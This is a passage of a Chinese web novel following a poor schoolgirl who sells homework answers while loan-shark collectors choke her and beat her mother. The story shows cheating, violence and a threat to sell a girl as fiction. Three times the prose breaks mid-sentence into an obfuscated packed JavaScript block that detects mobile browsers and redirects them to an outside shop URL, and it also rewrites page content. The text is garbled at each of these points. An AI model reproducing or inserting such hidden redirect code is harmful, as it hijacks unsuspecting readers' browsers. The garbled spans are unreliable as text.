“哦。”代薇子信了,转而专心看球,可只过了一会,她又捅了捅周窈:“哎,看那边。”顺着她指的方向看去,就见文委荣子涵双手捧着下巴,一脸星星眼地望着球场上的顾彧。“我们家子涵情窦初开了。” 何止是荣子涵,边上的好几名女生眼神都死死黏在顾彧身上,扒都扒不开,加上上午为了顾彧哭得要死要活的年级段段花于奥琪…… 周窈突然有些不明白,她们喜欢顾彧什么啊? 心里这样想着,嘴上也小声嘟囔了出来。 代薇子扭头看她:“你不是吧!你自己只爱财神爷,就不理解人家追校草啊,顾彧又帅又高成绩又好,喜欢他的人多不奇怪啊,不喜欢他,难不成去喜欢蒋煜那几个货吗?不过话说回来,隔壁班那个小黄鸭竟然暗恋蒋煜诶!你说蒋煜哪里好?” 哪里好?在周窈看来,蒋煜甚至还比顾彧好一些。 比起那些年她因为顾彧所遭受的一切,起码蒋煜还让她有钱赚。 球场上,顾彧越打越猛,仗着身高优势突破防守,面对体格更加健壮的体育特长生朱鑫纬的压制也丝毫不怯,迅速将球传给外围的蒋煜,突围之后又一波迅速接住蒋煜的回传,起身跳跃。手臂线条紧紧绷起,修长手指在空中划出一道绝美弧度,球应声而落。 “我去好帅啊——” “像流川枫!” “不不不,像三井寿!” “看到他肌肉线条了没!” “我好像看到他腹肌了!” “这么帅的男生未来是谁在谈啊,啊不行,我已经开始嫉妒了!” 顾彧这边三分入账,总分瞬间反超,加上女生们叽叽喳喳地吹捧顾彧,这让朱鑫纬很没面子。 朱鑫纬是靠体育特招进的一中,舟市青少年跳高第一人,更是一中校篮球队队长,今天被一个“书呆子”追着打,多少有些颜面无光。 有时候男生们的好斗情绪就是这么轻易被挑起,肉眼可见的,朱鑫纬这一方的冲撞多了起来。 “这是不是犯规了啊?”代薇子不懂篮球,但她也看得出朱鑫纬好几次都有手部动作,有一次甚至用手肘撞了顾彧的胸口。 很快,顾彧他们这队再次落入下风,李铭轩更是直接抗议,将球往界外一抛,掀起衣摆擦了擦脸上的汗,就找朱鑫纬理论。 “打个球而已,你这样就有点过分了吧!” “我怎么了?”朱鑫纬自然不认账,甚至还有些嬉皮笑脸,根本不把李铭轩的抗议放在眼里,他转而看向顾彧,抬了抬下巴:“你倒是不错,要不要来我们篮球队?” 这边蒋煜和李铭轩还在气头上呢,见朱鑫纬过来“收买”顾彧,顿时脸色都有些微妙。男孩子嘛,多少都将加入校篮球队视为一种风光。上学期蒋煜也申请过加入校篮球队,不过被驳回了,说是他球技不行,实际还是因为他跟朱鑫纬关系不够铁。所以眼下面对朱鑫纬的破格邀约,蒋煜也是心情复杂得很,怕顾彧就这样倒戈,同时也对顾彧能进校队感到羡慕。 谁知顾彧只是眼皮一抬:“跟你们打?没兴趣。” 若他只是单纯拒绝也就罢了,可加上前面一句,就明显让朱鑫纬和他的队友感受到了侮辱,气氛顿时就火热了起来。 “我艹你,少TM给脸不要脸!” “看你新来的,给你面子才跟你打,你以为你谁啊?” 顾彧嘲讽地扯了下嘴角:“我只打篮球,不打橄榄球。” 言外之意就是他们刚才撞人了。 “艹TM你说什么?!”压制不住怒意的朱鑫纬重重推向顾彧的肩膀。 球场上两边人马的火药味越来越浓,甚至已经有了冲撞的态势,原本坐在边上围观的女生们见事态不妙也略显惊恐的起身后退,唯恐被波及。 见他上手,蒋煜和李铭轩也急了,伸手想要推开朱鑫纬,而朱鑫纬的另外两名同伴自然也不会干看着,六个人就这么推推搡搡的乱作一团,场面一度十分混乱。 就在其他人犹豫着要不要去叫老师时,就听边上有人小声问道:“打架记过会被取消比赛资格吗?” 已经高高举起准备挥向顾彧的拳头突然停滞了,上一秒像是要暴走的朱鑫纬,这一秒竟咬着牙按下了自己的手,像是生生咽下了一口气一般:“给我等着!”随即狠狠瞪了顾彧他们三人一眼,便转身走了。 转身时还不忘附瞪了一眼刚刚说话的周窈。 周窈抬手扇风,扭过头去不搭理。 朱鑫纬等人走了之后,蒋煜立即蹿了过来,不停摇晃着周窈的肩:“我的周!你可太牛了!这算不算打蛇打七寸啊!” 周窈还没说话,边上代薇子率先吐槽:“真有你们的,打个篮球都能吵起来,真幼稚。” “嗐。”蒋煜道:“那个朱鑫纬死要面子,学霸压着他打他没面子恼羞成怒了呗。哎学霸,没想到啊,打球还真有一手!” 李铭轩与有荣焉:“他私下都跟市青少年篮球队的那帮人打,我们学校里我没见过比他打得好的。” “哇!”蒋煜感叹。 “只是因为常去同一个球场。”被提及的顾彧则慢悠悠地蹭了过来,态度很是老实地指着周窈边上的那堆饮料问:“我能喝吗?” 他这一问,蒋煜这才想起来,冲上去拎起他预定的可乐,一摸,脸立即垮了下来:“怎么是常温的啊……我想喝冰的啊,阿周。” 周窈头都没抬,按照单子将饮料递给陆续来取货的“买家”:“剧烈运动后喝冰水容易猝死。” “猝——”蒋煜瞪大眼睛,“行,行吧。”往边上退了一步就见顾彧还杵在那,眼巴巴地看着周窈,样子多少有些可怜,仿佛刚刚和朱鑫纬凶狠对峙的压根不是他。蒋煜看了眼自己手里还未开封的可乐,打算忍痛割爱。“要不你喝我的吧,我还没喝过呢。下次你提前跟阿周订就行了。” “谢谢,不用。”顾彧礼貌拒绝,然后继续看着周窈分饮料。 分到最后只剩一瓶脉动。 蒋煜喝着可乐问道:“这谁还没来拿?” 周窈绝不可能多买,一分一毛都不会砸在自己手里,蒋煜便下意识以为是有人预定但忘拿了,正想帮着喊人呢,却见周窈一抬手将那瓶脉动递给了顾彧。 “过路费。明天帮我传下答案。” “就这?”顾彧单手插兜,像是不太看得上的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460779|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不要算了。”周窈收回手。 蒋煜的眼神急速在两人之间游走,急得像上蹿下跳的猹,生怕顾彧觉得自己被怠慢,人家好歹是年级第一,还是校草,能看上这一瓶脉动吗?! 然而还没等他出声,顾彧早已上前将那瓶脉动抢到手里,一副捡了大便宜的廉价样子:“要的,但下次能给我买宝矿力吗?” 周窈斜了他一眼,心想哪还有下次:“下次你提前预定。”说完将空了的塑料袋叠吧叠吧塞进口袋里,和代薇子还排球去了。 蒋煜看着刚刚还冷脸要和朱鑫纬打起来的校草,捧着一瓶随处都能买到的脉动喝得一脸珍惜,顿时有些摸不着头脑了:“呃,学霸,明天真的帮我们传答案?” 顾彧认认真真地地扭上瓶盖:“嗯。” 蒋煜和李铭轩你看我我看你,大脑突然宕机:不是说他事不关己高高挂起吗?不是说班主任都请不动吗?怎么一瓶脉动就收买了啊?! 李铭轩:我哪知道,可能他真的很爱喝脉动吧…… / 开学第一天就布置了许多作业,加上明天的数学摸底考,纵然终于熬到了放学,也着实开心不起来。 陈娟在医院做护工往往是两班倒,今天上的是白班,要到晚上八点以后才回来,周窈想着反正回家也没人,放学就没急着走,在教室里做了张数学卷子。 等她一张卷子做完,教室里已经没有人了,只剩顾彧坐在窗台边上塞着耳机看书,身后缀着橘红色的夕阳,像是什么校园漫画的场景。 “你怎么还没走?”周窈收拾着东西问。 顾彧摘下一边的耳机:“等你。” “等我干什么?我不是说过让你在学校里就当不认识我?” 顾彧摸了摸那瓶几乎快喝空了的脉动,眼神多少有些委屈:“但现在也没别人了啊。” 周窈不做理会,自顾自收拾好东西背上书包离开,出了教室门想了想还是折回来。 “走不走了?” 顾彧眼睛嘴角一扬,一副拿捏了的表情:“来了!” 下楼时,顾彧黏在周窈身后大概一步距离,小声道谢:“谢谢条条今天替我说话。” “我什么时候替你说话……”周窈一顿,瞬间明白过来他说的是和朱鑫纬那场冲突,“跟你有什么关系,蒋煜是我最大的客户,我帮他又不是帮你。” 狐狸眼微微一眯:“嗯嗯,你就是心疼我挨打。” 周窈:“少蹬鼻子上脸,离我远点。” 两人一前一后出了校门,各自取了自行车离开。 周窈那辆车虽然看似老旧,但她蹬得倒挺快,面对下班高峰期拥挤的车道,丝毫不怯,游鱼一般穿梭在缝隙之中,反倒是顾彧,很快就被她甩在身后了。 绿灯转红,顾彧及时捏了刹车,望着赶在最后一秒冲出斑马线的周窈,眸光深沉。 自奶奶去世后,他和周窈也有三四年没怎么来往了,偶尔在学校里遇见,也说不上什么话。他实在想不通,自己到底是哪里得罪了她,让她这么讨厌自己。 二十秒过去,路口再次通行。 原本想着周窈搞不好已经到家了,却在进了小区门口之后,又看见周窈折了回来。 顾彧捏了刹车:“怎么了?” 周窈却没停车,留下一句:“我要去找一下我妈。”然后就再次骑出了小区。 顾彧也没怀疑,只想着或许周窈家里有什么事,自顾自骑进小区,在经过周窈她们家楼道口时,就见一楼大门边上的阴影处站了两个看起来不那么好惹的男人,正抽着烟说话。 这个小区已经很老旧了,大约有四十年的房龄了,最初的住户早就搬走了大半,剩下的房子卖的卖租的租,甚至还有人违规搞起了群租房,导致小区的人口就逐渐变得复杂起来,没少被人投诉。 因此顾彧看见这种明显不像什么好人的,也没觉得有什么不对的,锁好车就回家了。 而此时刚出了小区的周窈则在外面兜了个大圈,过了将近十分钟,想着顾彧应该回家了之后才又兜了回来。停好车,上楼,皱着眉头满是怒意地迎上了等在门边的那两个男人。 8. 秘密 “哟!小妹今天回来晚了啊。” 见周窈回来,那两个男人便踱着步从阴影处缓缓走出来,随手将烟头往地上一扔,撑手抵在了一楼大门上,直接拦住了周窈的去路。 楼里原本正打算出门的邻居阿姨见这阵仗,头也不回的直接折返回屋了。 周窈看了一眼那位消失在楼道里的邻居阿姨,面无表情地抬眼:“这楼里还住着别人,你们堵着楼道会妨碍别人。” “哟,重点高中的学生就是不一样啊,道德水平真高啊!哈哈哈哈!”说话的男人大约三十多岁,梳着油光锃亮的大背头,裸露在外的手臂上纹了满满的纹身,而他边上那个瘦猴大约二十左右,是他的小弟。周窈和他们也打了两三年交道了,至今不知道他们两叫什么名字,只知道瘦猴叫花臂“四哥”。 见周窈没反应,四哥翘起小拇指掏了掏耳朵:“以前还吓得躲到衣柜里呢,现在看见咱们连眼睛都不眨一下了,怎么了,胆子大了?”话音刚落,粗大的手直接掐上了周窈的脖子,一股她挣脱不开的蛮力将她整个人钉在了门上。 “呃——”喉咙一阵钝痛,无助的窒息感涌上来,她被迫仰着头,只觉得所有的气血都被逼到了自己的脸上,胀得眼睛都疼。 不知道过了多久,四哥终于松开了铁钳般的手,呼吸通畅的瞬间,周窈四肢乏力地顺着铁门滑了下去,手臂撑着膝盖勉强摇摇晃晃地站住,抬起头怒瞪着花臂:“你……咳,掐死我也没用,掐死我也没钱还你。” 四哥不屑地切了一声:“我当然知道你没钱,就是给你个教训,以后见到我们乖顺着点,没准以后,你还得求我们把你卖去好一点的地方呢,哈哈哈哈哈哈!” 狂浪的笑声中,周窈有些狼狈地背好歪了的书包,穿过阴暗潮湿墙皮脱落的过道,上楼开门回家。 打开灯,家里空荡荡的,陈娟还没回来。 周窈有些担心,她干脆自己房间都没回,坐在客厅的餐桌上写起作业来。浓重的烟味透过门缝窜进来,周窈知道门外的那两个人还没走。 没要到钱他们是不会走的。 周窈想着要不要给陈娟打个电话,让她晚点回来或者干脆别回来了,就听见外面楼道里,一阵女人带着哭腔的求饶声响起。 “真的就这么多了,这个月我生了场病,请了几天假,真的就这么多了……” “妈的!找死是吧,这点钱连利息都不够!”随即几声闷闷的踢踹声响起。 “哎呀!别打,求求别打!” 周窈想都没想冲进厨房抄了把菜刀紧紧握在手里,打开大门冲了出去,就见陈娟跪坐在楼梯下面,随身携带的包被人翻得底朝天后扔在一边,她头发乱糟糟的,脸上似有淤青,瘦猴抬了抬脚,她就赶忙举起手臂遮挡自己,狼狈极了。 周窈一把将陈娟拉起,抖着手举着菜刀挡在两人面前:“钱是周建民欠的,和我们没有关系!你们找周建民去要啊!找我们干什么!”喊到最后,声音喑哑破碎。 四哥丝毫没将这把颤抖的菜刀放在眼里:“周建民是你爸爸,她老公,你说我们不找你们找谁?” “他们已经离婚了!” 周窈话一出口却被陈娟急急忙忙地扒拉着捂住了嘴:“没离婚,没离婚,这个月就这么多,下个月我们会多还点的……求求你们,再宽限宽限……” “就这么点。呵——忒!” 拿了钱,四哥的目的就达到了,自然不会和周窈母女多说,他伸手弹了弹周窈手里的菜刀:“小姑娘别玩刀,万一伤了自己,以后我就卖不出好价钱了。”说完,他手一挥,带着瘦猴哼着小曲离开了。 昏暗的楼道,声控灯时亮时灭,像电影里的遇鬼场景似的。 上一秒还跪地求饶的陈娟瞬间收起了那副可怜相,抹了一把乱糟糟的头发,拍了拍身上的灰,像是没事人似的从地上站了起来,她拎过周窈手里的刀,埋怨道:“你也真是,怎么把刀都拿出来了,让人看见还以为咱家出什么事了呢。”说完,自顾自提刀上楼回家。 周窈跟在她身后进了家门,将大门牢牢锁上之后,熟门熟路地从抽屉里拿出一瓶碘伏,陈娟回头看了一眼:“不用不用,没破皮,不用涂。”说完,她又摆开架势开始质问周窈:“你为什么要跟别人说爸爸妈妈离婚了?” 周窈冷眼将碘伏塞回抽屉:“离婚证不是都在你房间的抽屉里锁着么?” 陈娟瞪眼:“你还翻我抽屉了?!你哪来的钥匙?!”见周窈不答,她又道,“都跟你说了多少遍了,爸爸妈妈离婚只是为了让你爸的项目能顺利进行,又不是真的。” “也就你一个人觉得不是真的,周建民是在骗你,哪有什么项目,他就是想让我们给他背债,然后他自己不知在哪里逍遥!” “瞎说!”陈娟的声音瞬间尖利起来,“你爸只是出去做生意!赚到了钱就回来了!” “赚钱?你怎么还相信他呢?哪次不是说有大项目,哪次不是欠了一大笔债回来?他就是个撒谎成性债台高筑抛妻弃子的人渣!” “住口!你怎么这么说你爸呢!你小时候生病不还是他半夜里把你背去医院的?你这孩子,真没良心,爹妈养你都白养了!” “那你不如把我送给那个四哥,让他把我卖了。” 周窈抓起摊在餐桌上的作业拎起书包,直接回了自己房间。 厨房里,缓了一会的陈娟开始准备做饭,淘米声、切菜声传了进来。周窈叹了口气,面对眼前的题目,丝毫没有解题思路,而比起题目,更难解的是陈娟的脑回路。 她不明白,周建民这明摆着骗陈娟替自己背债,可陈娟怎么不明白呢?!无论她说多少次,陈娟都不听,只沉浸在自己的痴情等待里。 没救了。 周窈越想越气闷,回想起自己的遭遇,只觉得哪哪都觉得令人厌恶,这套房子、学校,甚至舟市这个地方。周建民一走了之,她们俩却被困在了这里,凭什么!她也要走出去!走得越远越好! “条条,我出去买包盐,一会就回来。” 门支呀一声打开,又砰得一声关上了。 望着手里的题,周窈不由得生出一股疲惫感和焦虑感来。她还要高考,她现在哪里都去不了。 “嘭嘭嘭!”敲门声突然响起。 周窈被惊得一激灵,紧绷起脊背,手臂上汗毛倒立。 不是陈娟,陈娟出门从来都带钥匙,这个时间点,自然也不可能是抄煤气抄水表的,难不成,是那两个讨债的又折回来了? “嘭嘭嘭!”敲门声再度响起。 周窈从自己房间摸出去,悄声从厨房的案板上拿过陈娟切菜的菜刀。 “嘭嘭嘭!” “支呀——” 门被从里面拉开了一条小缝,漆黑的楼道内,从房门缝隙中透出的光线刚好打在顾彧的脸上。 周窈瞬间松了一口气,赶紧将菜刀藏到身后。 “你来干什么?” 顾彧望着眼前的一条门缝,眉头轻蹙:“看你回来了没,刚才听到外面好像有人吵架,像是你家这里传出来的。” 周窈别开眼:“家里就我跟我妈,跟谁吵架。” 顾彧心中的疑虑依旧没有打消,但周窈一副不想说的样子,他便也不再追问:“没事就好。”说完转身要走,却和买盐回来的陈娟打了个照面。 陈娟一看是顾彧来了,立即笑着招呼:“小彧啊,吃饭了吗?要不要到阿姨家来吃点?” 顾彧望着陈娟脸上明显的淤青,眉头又紧了起来:“不用了阿姨,我已经吃过了……” 陈娟上楼,看见漏了条缝的门,直接一把推开:“你这孩子,你也不请小彧进去,就隔着门说话……”门后的周窈顿时露出不自然的表情,而顾彧也才看清,周窈背后那隐约漏出来的,似乎是一截刀刃? 注意到他视线的方向,周窈摸了摸鼻子:“我刚刚帮我妈切菜来着……”而话音未落,陈娟又从厨房里出来,一把夺过周窈手里的刀:“你怎么又拿刀,我还切完菜还没洗呢。” 谎言轻易拆穿,但顾彧并没有追问她为什么要拿着刀来开门,陈娟脸上又为什么多了两道淤青。 “我走了。” “哦,不送。” 他刚转身,大门就被人砰地关上。顾彧回头看了眼门缝中露出的暗淡光亮,眉头却始终未曾松开。 下楼正要往家走,就听边上的车棚里有人说话。 “今天又来了?我听着动静了,闹挺大……” “这还不是最闹腾的呢,上次把门都快要踹烂啦,还有一次,泼红油漆,小姑娘回来自己一点一点擦,可怜哦……” “也是倒了霉了,和这样的人家住一幢楼,以后我这房子都不好卖。” “哎,以前看着还挺好的一家人,怎么弄成这样。” “怪她老公呗,赌钱,做生意还赔了好多钱还欠了高利贷,现在不知道去哪了,很久没看见了。就这,还不离婚……” “离了。” “啊?离了吗?我那天和她闲聊,她还说老公在外地做生意呢?” “死要面子呗,要我说这女的也是个脑袋不清楚的,可怜他们家女儿哦,小姑娘好像学习还挺好的,一中的呢。” “哟,一中啊?!了不得,以后是高材生了。” “什么高材生啊,还不是被她这爹娘拖累,人家都说小孩是拖油瓶,他们家反过来的……” 顾彧站在楼边默默听着,垂下的眼睫看不清眼底的情绪,不知过了多久,他突然掏出手机打开日历,在今天的日期一号上做了个记号,标注每月提醒,然后这才迎着路灯光回家去。 家里,开着的电脑上显示游戏已结束,蒋煜和李铭轩还挂在列队里等他。 顾彧戴上耳机,就听见蒋煜在那抱怨:“不知道去哪了,是不是出事了啊……” 李铭轩也道:“要不打个电话问问?上厕所这十多分钟也该回来了。” 顾彧开麦:“抱歉,家里有事出去了一下。” “哎哟野王哥哥你可回来了!半路挂机,害得我掉了一星,不过我心善,没有举报你。” 顾彧操纵鼠标点了几下:“没事,今天肯定能带你们上分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾彧的原意或许是希望妈妈放心,然而这话在何茜华听来,自责和担忧的意味却更浓了。“我和你爸爸商量了,等我们房子办好过户,正式搬过去,我还是希望你能来海市和我们团聚,毕竟你奶奶也不在了,那里就你一个人。更何况,海市的教育资源还是要比舟市好一些的,高考的压力也相对低一些。小彧,你不想去实验班我们也同意了,但是在这件事上,我希望你还是不要任性,好好再考虑一下,毕竟高考是你目前人生的头等大事。” 隔壁的灯光又晃了一下,少女推开窗,细白手臂探出来的瞬间,被隔绝的声响也蹿了出来。 “条条,来洗澡了!” “哦!” 电话那头,见儿子没答话,何茜华有些忐忑地叫了他一声:“小彧?” “嗯,听着呢。”顾彧握着阳台栏杆背过身去,“但是我暂时还不想去海市。” “小彧,别任性。” “不是任性,只是不觉得我有什么非要去海市不可的理由。” “爸爸妈妈不是理由吗?” “……” 顾彧的沉默让何茜华感到深深的无力,从生下这个儿子之后,她就和自己的丈夫就迅速地迎来了事业的高峰期,她升作副主任医师,而自己的丈夫则带团搞重点研究项目,自然抽不出时间来陪伴顾彧的成长,当他们回过神来,顾彧已经独自长大很久了,似乎也不再需要他们了。 “这件事晚点再说吧,但是你要答应妈妈,好好考虑来海市的事,还有,好好照顾自己。我知道你不喜欢听手机铃声,但是看到有未接来电的时候,立即给妈妈回电话,好吗?” “好的,我知道了。” 挂了电话回到电脑前,正想叫蒋煜和李铭轩进队列,就听蒋煜着急忙慌喊着:“等等等!等一下再进!” “怎么?” 蒋煜高声大喊:“葛朗台·周发作业答案了,等我先付款。” “她还卖作业答案?” “对啊。”蒋煜一副理所当然的样子,“每天的作业答案,小考答案,她都卖。价格不贵,一份五块钱,也就一瓶饮料钱。” 原本顾彧觉得周窈这种行为多少有些不合规矩,但想起刚刚在她家楼下听到的那番对话,喉咙就像哽住了一样,说不出来半句不对。 “诶,你们俩打了一晚上游戏,作业做了没啊,要是没做直接也问周窈买一份得了。”蒋煜建议道。 顾彧望着手边已经做完了的卷子,抿唇想了想:“在哪里交钱?” 李铭轩惊诧:“顾彧你也要买?!” 蒋煜则义不容辞:“我拉你进群!” 很快,顾彧的企鹅页面就显示他被拉入了一个新群,群的名字叫“不要坏了规矩”,简直和周窈本人一样不近人情又冷冰冰。 “你把红包发群里,然后她会小窗你答案。” 李明轩不解:“那你买一份我们三个人A不就得了?” “那可不行!”蒋煜大喊:“看群名!注意遵守规矩啊,人手一份答案,不能和别人共享,不然会被周窈单方面‘制裁’的!那会很惨啊!” 没有作业答案,没有考/试答案,要自己去食堂排那个挤死人的队伍才能吃到鸡排,确实很惨。 顾彧这才明白,周窈在这条产业链上,已经做到了垄断。 按照蒋煜教的,他也在群里发了一个五块钱的红包,但迟迟也没见人领取,直到蒋煜催促着再开一局,他忍不住主动小窗敲了敲周窈。 【顾^^彧:条条,我的答案呢?】 过了十分钟,顾彧都已经在峡谷里杀了七进七出了,手机才再次亮了起来。 【不是葛朗台是世界首富:你自己做。】 顾彧手滑直接送了对面一个闪现。 行叭,今日份送爱心行动宣告失败。 9. 告密 早上六点半,周窈照例早早起床,背了半小时英语之后,就匆匆吃了早饭出门了。刚到楼下看见顾彧扶着自行车弓着腰杵在那,愁眉苦脸的样。 周窈心道一声不好,果不其然…… “条条,我自行车链条掉了……” 周窈冷着脸扫了一眼那他的链条,确实要掉不掉的半拉挂在那。昨天晚上骑回来还好好的,今天早上链条就掉了,哪有这么巧的事。 叹了口气,周窈还是从书包里翻出一张纸巾,垫在手里捏着那根松了的链条,小心地重新挂了上去。从小就是这样,他在前面造,自己跟在后面收拾,稍有不耐烦还要被陈娟骂。 松落的链条被一颗一颗仔细地和齿轮对齐,周窈握着踏板转了一圈,齿轮流畅地运转了起来。 “哇,条条好厉害。” 周窈充耳不闻,朝前走了两步将满是油污的纸巾扔进垃圾桶,转身去拿车的时候,就见顾彧已经蹬在车上等着自己了,一副理所当然要一起走的样子。 周窈翻了个白眼,又中了他的套路。 两人一前一后骑到学校门口,周窈自然是不愿意和顾彧一起进校门的,停完车就小跑着走远了。顾彧见她一副落跑姿态,便干脆慢悠悠地锁上车,照例在原地等了两分钟。就这两分钟里,他却听到有两个男生在边上的巷子里小声说话,还伴随着一股淡淡烟味弥漫。 原本顾彧只想着不知是哪班的学生,胆子这么大在学校边上抽烟,直到他听到两人的对话,原本已经迈出去的脚步硬生生停住了。 “等着吧,今天数学摸底考,肯定让她吃瘪。” “怎么搞?” “她不是卖了那么多答案吗,我都告诉数学章了,反正数学章向来看她不顺眼,到时候人赃俱获,不得记个过?” “我去,你这招也太狠了,这么恨她?人家也没赚你的钱。” “这种违纪行为,不看见一个举报一个?维护校园的学习环境啊。” “得了吧你,还给自己拔高了,你就说你讨厌她得了。” “切,你知道她妈其实是医院护工吗?还天天装得一副清高样子,拽个勾八……” 顾彧紧赶慢赶进了教室,却发现数学章早就占了早自习,等他到了的时候,考试都已经开始了。 “昨天都通知了今天摸底考,还来得这么晚!”讲台上,数学章挺了个肚子不满地扫向门口,见是顾彧,想起自己昨天在他这吃的瘪,一时脸色好看极了,半天没憋出一句话来,干脆扭过头去不理他。 顾彧拎着书包走了进来,经过周窈身边的时候扫了一眼女孩头顶的发旋。 来不及告诉她了。 考试的难度倒不是很大,很多题扫一眼就知道答案,只是周窈不明白今天数学章是抽得什么风,隔个三五分钟就要来她这兜一圈,甚至好几次还俯身看她的卷子,搞得她心里毛毛的。 作完选择题,按惯例周窈此时要传第一部分的答案,她像往常一样将答案抄在小纸条上,然后趁数学章不注意的时候,将手背在身后,小纸团便落到了顾彧的桌上。 下一秒,顾彧迅速将纸条捏在手心,攒得紧紧的。 “顾神!”边上的蒋煜正等着他将答案传给自己,却始终不见顾彧撒手。刚开始还以为是数学章在他们边上,顾彧不好出手,却没想到他这一捏,就捏到了交卷。 后面的李铭轩等人忍不住频频催促,但顾彧岿然不动,就像是没听见似的。中间周窈也试图补一份答案传给蒋煜,但还没等蒋煜伸手去捡呢,就又被顾彧捞走了。这一来一回,后排这些“嗷嗷待哺”的是半份答案都没看到,但顾彧手里就有两份。 下课铃声响起,数学章收起厚厚一叠卷子挺着肚子走出教室,临走前还不忘朝周窈这扫了一眼。等他的人影消失在楼道里,周窈猛地站了起来,转身面对顾彧,眼里是掩盖不住的怒气。 “你什么意思?” 然而顾彧却没答话,他捏着手里已经汗津津的两团纸条,扭头在班里扫视了一圈。举报周窈的那两个人到得应该比他晚,可九班向来不遵守秩序,在他后面进来的人有十几个,而且几乎都是男生,此时这些人还分散在教室的各个角落…… “我……晚点跟你解释。” 解释? 周窈一挑眉,几乎都要被气笑了。 “顾彧我哪里得罪你了吗?” 平日里吊儿郎当不可一世的校草默默低下头:“没有。”何止没有,早上还帮他修车来着。 望着边上等着要个说法的蒋煜和李铭轩等人,周窈气得说不出话来,利落地给人退了款之后,她回到自己的位置上,愤愤地望着钱包里还没焐热就打回原形的余额,一言不发。 蒋煜瞪着眼睛在两人之间游走了一圈,几乎要被弥漫在这前后桌之间的低气压给挤得无法呼吸了,正想着出去避避风头,扭头就看见李铭轩站在走廊上,透过窗户朝他挥手。蒋煜如临大赦,立即狂奔了出去。 “诶,什么情况啊?” “不知道啊,他就一直捏在手里也不给我,后来阿周传给我的也被他收走了,我的天,葛朗台·周那脸色,我都要吓死了,感觉两个人差点就要打起来了……” “按理说应该不会啊,他既然答应了就会做到的。” “可能今天数学章在我们这块溜达得太频繁了?” “应该不会,肯定有别的原因。” 蒋煜催促:“那你快问问!” 李铭轩斜眼:“你怎么不问?” 蒋煜一秒鹌鹑状:“我哪敢啊!我现在都不敢大声喘气!” 一整天,周窈都没跟顾彧再说半句话,原本两人看着就不熟,现在更是形同陌路——哦不,形同仇家。 最后一节自习课,班长谭欣又通知周窈,说是史芬找她。得知这个“噩耗”,周窈和代薇子对视了一眼,多半没好事。 果不其然,刚进办公室,就见史芬铁青着脸坐在桌前,办公桌上暑假作业堆得像座小山,差点把她整个人都挡住。 “来了?”史芬抬头望向周窈,眼镜镜片上反射的灯光白乎乎一片。 “史老师。”在老师面前,周窈还是恭敬的。 “看看吧。”史芬将一本作业本摊在周窈面前,那潦草的字迹一看就是蒋煜的。“都是抄你的吧?” 这怎么看出来的?周窈有些惊讶。她特地将作业本按照平均分数分成了三等分,且每一套答案错题都不一样,史芬这都能看出来? 像是猜到她心里活动似的,史芬冷哼一声:“你以为错题改了我就看不出来啊?”胖胖的食指重重地戳向作业本上的某一题,“笃笃”直响,“选择题第六题,一道基础题,选项印错了,C和D是一样的,你选了C,所有人都跟着你一起选C。还有这题,你做错了,所有人跟你一起做错,错得还都一样!周窈,你是不是觉得你做得天衣无缝啊?啊?那天学校后门我说怎么这么多人呢,合着是在交换答案是吧?!” 原来是这样。 周窈心里暗暗记下,看来以后答案还得再改得面目全非一些,但嘴上她依旧答应着:“对不起,下次不会了……” “下次不会再给人抄答案了,还是下次不会做得这么明显了啊?”史芬一语戳穿,但她倒也不想多为难周窈。九班平均分本就属于年级段的下游,她也带了那么多届学生了,暑假作业寒假作业向来都是糊弄人的,她也很清楚,暑假向来是放假两个月,作业两小时。但是周窈不一样。若她也只是偶尔偷懒,或者将自己的作业提供给别人抄抄也就罢了,但周窈明显是有了一套产业链了!想起上午数学章老师和自己说的那些话,史芬只觉得自己太阳穴跳得似要爆了。 真当自己什么都不知道吗?只是因为清楚周窈的家庭情况睁只眼闭只眼罢了。但眼见着周窈似乎做得越来越过分,史芬也越发头痛起来。 “那天我都跟你说过了,现在最重要的任务还是学习,你别以为自己是班级第一,就松懈了。我们班的第一名多少含金量你很清楚,别人不说,就看顾彧,你跟顾彧差距多大你知道吗?上学期末你考了587,六百分都没到,但顾彧考了701!而且那套卷子的难度比高考平均难度高了10%!” 周窈听在耳里,脑门像被人猛地拍了一巴掌,史芬嘴里吐出的残酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460781|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实山一般向她压来,瞬间砸得她头脑发昏。 然而史芬还未停止:“如果你今天跟我说只想考个普通本科,以后出来做个文员,做个普通职员,赚个三四千的月薪,那我肯定不会管你,但是你自己的情况你清楚啊!” “我知道你有很多小聪明,但是现在不是你开发你这些小聪明的时候!你不要本末倒置了!” 周窈抿着唇,站在桌边一言不发。 史芬所说的本末倒置,在她这却是一个难解的死结。她不赚钱,就买不了教材,提高不了分数,甚至其他学生双休日的辅导班都排得满满的,她却一节课也上不了,因为穷。陈娟每天累死累活,赚来的钱月底都要拿去还债,还只是还个利息的零头而已…… 但这些话她不会和史芬说,说了又有什么用呢?谁能帮她家还了这巨额的债吗? 少女局促又不甘地站在办公室里,史芬看着她的样子,叹了口气,最终态度还是软了下来:“回去吧,下次别这么干了。” “知道了,史老师。”周窈应了一声,有些机械般地往外走。 回到教室时,已经放学了。代薇子看她脸色沉沉,不由得问道:“史芬找你什么事啊,说你了?” 